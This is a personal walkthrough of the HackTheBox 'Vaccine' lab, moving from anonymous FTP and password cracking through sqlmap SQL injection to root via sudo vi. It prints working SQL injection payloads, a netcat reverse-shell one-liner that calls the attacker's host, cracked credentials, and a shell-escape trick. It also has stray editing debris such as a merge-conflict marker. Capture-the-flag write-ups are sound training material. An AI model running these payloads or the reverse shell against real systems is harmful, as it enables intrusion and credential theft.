HackTheBox - Vaccine - Writeup

HackTheBox - Vaccine - Writeup

Starting Point - Tier 2 Machine


8 min read

Before you begin

I write these writeups as I go when I wait for tools to run, therefore my writeups contain trials and errors, what I do that didn't work and how I pivot my attacks. I also include some ideas/what's on my mind, and what I learned after I pwn the room.

The purpose of this is to see the thought process, showcasing not just the successes but the failures as well and how I get through them. I learn way better from the failures that's why I leave them in.

If you're looking for a writeup that shows how a player thinks, this is the right place for you.

Thanks and have fun!


  • IP:

  • Initial accessed: 2/16/2022 1:50 PM

  • Time completed: 1 hour + 30 mins write up

Task 1: Besides SSH and HTTP, what other service is hosted on this box?

nmap -sV -sV -oN nmap-init $IP

  • Ports opened: 21, 22, 80: ftp, ssh and http

Task 2: This service can be configured to allow login with any password for a specific username. What is that username?

because we run -sC we can see on the init nmap that ftp allows anonymous login

|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)

answer: anonymous

Task 3: What is the name of the file downloaded over this service?

_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip

answer: backup.zip

Task 4: What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

Let's look for john the rippoer folder


Task 5: What is the password for the admin user on the website?

Let's break into ftp server anonymous:<blank>

ftp anonymous@$IP

└─# ftp anonymous@$IP
Connected to
220 (vsFTPd 3.0.3)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

get the backup.zip file get backup.zip

ftp> get backup.zip
local: backup.zip remote: backup.zip
229 Entering Extended Passive Mode (|||10684|)
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
100% |************************************************|  2533       16.54 MiB/s    00:00 ETA
226 Transfer complete.
2533 bytes received in 00:00 (19.59 KiB/s)

Getting the zip file password with johntheripper

  1. Get the zip hash using zip2john

zip2john -s backup.zip > ziphash.txt

  1. Using john to crack the password

john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt

└─# ls
backup.zip  nmap-init  ziphash.txt   

└─# john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt 

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963        (backup.zip)     
1g 0:00:00:00 DONE (2022-02-16 14:18) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
  1. open the zip file
    unzip backup.zip
└─# unzip backup.zip 
Archive:  backup.zip
[backup.zip] index.php password: 
  inflating: index.php               
  inflating: style.css
  1. Look at the index.php file with cat index.php
 if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
  1. Looks like the password is encoding in md5, let's crack that using hashcat

hashcat -m 0 '2cb42f8734ea607eefed3b70af13bbd3' /usr/share/wordlists/rockyou.txt

  1. wait for hashcat to run I actually ran into a seg fault because my virtual machine didn't have enough memory so make sure that your VM has enough ram
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

  1. now that we have the password we can get in on the web server. navigate to the ip adress port 80

  2. You'll see a login form, try admin:qwerty789

  3. yatta!! We got in. the web page has a header MegaCorp Car Catalog

  4. the search bar looks very interesting, we might get an sql injection

  5. Try 'or 1=1-- on the search bar and click search > nada

  6. Ok lets try 'or '1'='1

  7. All the cars return, we got a SQLi. The broswer pass the search term as an SQL argument, and we put a term that always returns true 1=1, so it returns all the data

let's poke that

task 6 What option can be passed to sqlmap to try to get command execution via the sql injection?

run sqlmap --help

    --os-shell          Prompt for an interactive operating system shell

This hints us that we can get a shell back from this vuln using sqlmap, let's try that


  1. run sqlmap with cookie grabbed from admin. Right click to Inspect > Storage > Cookies > copy the value of PHP SESSION

sqlmap --os-shell -u "" --cookie "rs3mk75hjde89pttqm7761a93b"

** Note:** It might take a couple of tries to get sqlmap to spawn a shell, use sqlmap --help for more flags you can use to run the cmd. Trials and errors are always the best way to attack. In real-world scenarios your attack might get picked up by a WAF, but sqlmap has options to bypass that as well. Read the help section to find out which option is possible to poke around with. This is the point of CTF; you're free to use whatever options or tools at your disposal to gain a shell, don't hesitate to try all of them, you might be surprised how much you learn.

  1. As sqlmap run, these results poped up. Check for the results that are labeled CRITICAL during the run, see what pops out to you.

  2. Not much luck with this run, I'm trying a different approach. I'll store the GET request in a file and then run it again.

  3. Go to the website and make a sample search, then copy the GET request from Inspect Element under Network.

  4. Put the request in a text file called get.req

  5. Run the file with Sqlmap

sqlmap -r get.req

  1. I got an error with sqlmap, so let's try Burp. Turn on Burp intercept and grab the GET request. There might be more data in there.
GET /dashboard.php?search=car HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=rs3mk75hjde89pttqm7761a93b
Upgrade-Insecure-Requests: 1
  1. Put in the req file and try again. I want to use tag --batch so I don't have to press yes all the time

sqlmap -r get.req --batch

  1. Boom we got something

heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')

Now we just wait and hope sqlmap can return something for us.

  1. and we got it!
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
<<<<<<< HEAD
    Payload: search=car' AND (SELECT (CASE WHEN (2083=2083) THEN NULL ELSE CAST((CHR(110)||CHR(90)||CHR(106)||CHR(73)) AS NUMERIC) END)) IS NULL-- Xpdl

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=car' AND 5539=CAST((CHR(113)||CHR(112)||CHR(107)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (5539=5539) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(122)||CHR(113)) AS NUMERIC)-- KpjP

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=car';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=car' AND 8701=(SELECT 8701 FROM PG_SLEEP(5))-- dOuy
  1. Now that we have the payload, we can inject to the search bar or the URL I'm picking the last one

search=car' AND 8701=(SELECT 8701 FROM PG_SLEEP(5))-- dOuy' AND 8701=(SELECT 8701 FROM PG_SLEEP(5))-- dOuy

  1. Nothing returns, let's try the error-based payload
search=car' AND (SELECT (CASE WHEN (2083=2083) THEN NULL ELSE CAST((CHR(110)||CHR(90)||CHR(106)||CHR(73)) AS NUMERIC) END)) IS NULL-- Xpdl
  1. we got something

ERROR: invalid input syntax for type numeric: "qpkzq1qzkzq"

  1. Let's just see if we can get a shell from here

sqlmap -r get.req --batch --os-shell

  1. and we're in
[10:36:30] [INFO] fingerprinting the back-end DBMS operating system
[10:36:31] [INFO] the back-end DBMS operating system is Linux
[10:36:31] [INFO] testing if current user is DBA
[10:36:32] [INFO] retrieved: '1'
[10:36:32] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[10:36:32] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
  1. This shell is majorly unstable, I'll see if I can get a reverse shell on my machine

Reverse shell

  1. Get your ip address ip a s tun0

  2. set up your netcat with nc -lvnp 4444

  3. I have a template payload for bash, you can grab yours on revshells.com as well. Put your payload on the os-shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 4444 >/tmp/f
  1. Upgrade your shell. I tried python but failed, they have python3

** Note:** To check if a machine has a program, use which. I checked for python version with which python or which python3. Positive results will return usr/bin/python3

python3 -c 'import pty; pty.spawn("/bin/bash")'
  1. check who we are

postgres@vaccine:/var/lib/postgresql/11/main$ id id uid=111(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert) Since we're in /var let's check /var/www/html, usually there is credentials in there

found password in``dashboard.phpinhtmlfolder. You either look through the file manually, or use the commandgrep "password" *to loop through the file and returns anything that has the wordpassword`

dashboard.php: $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");

  1. let's see what this user can do sudo -l
postgres@vaccine:/var/lib/postgresql/11/main$ sudo -l
sudo -l
[sudo] password for postgres: P@s5w0rd!

Matching Defaults entries for postgres on vaccine:

User postgres may run the following commands on vaccine:
    (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

** Note**: during this box I kept losing the shell due to the sql connection timeout, once I get the password I just ssh back into the postgres user with the found password

Answer for this task is vi

Priv Esc

  1. grab the user root at cat user.txt

  2. Time for priv esc. The first thing I did was look up available payload for VIM on gtfobins

  3. I want a shell, and found this payload that might work with the credential sudo we have

  4. sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

  5. Press :, then type in the cmd set shell=/bin/sh. This I got from gtfobins

  6. Gain root shell!

[No write since last change]
# whoami
# ls            
11  user.txt
# cat user.txt


Lessons from this box

  1. SQLMap sometimes can take a little tweak to make it work perfectly, try everything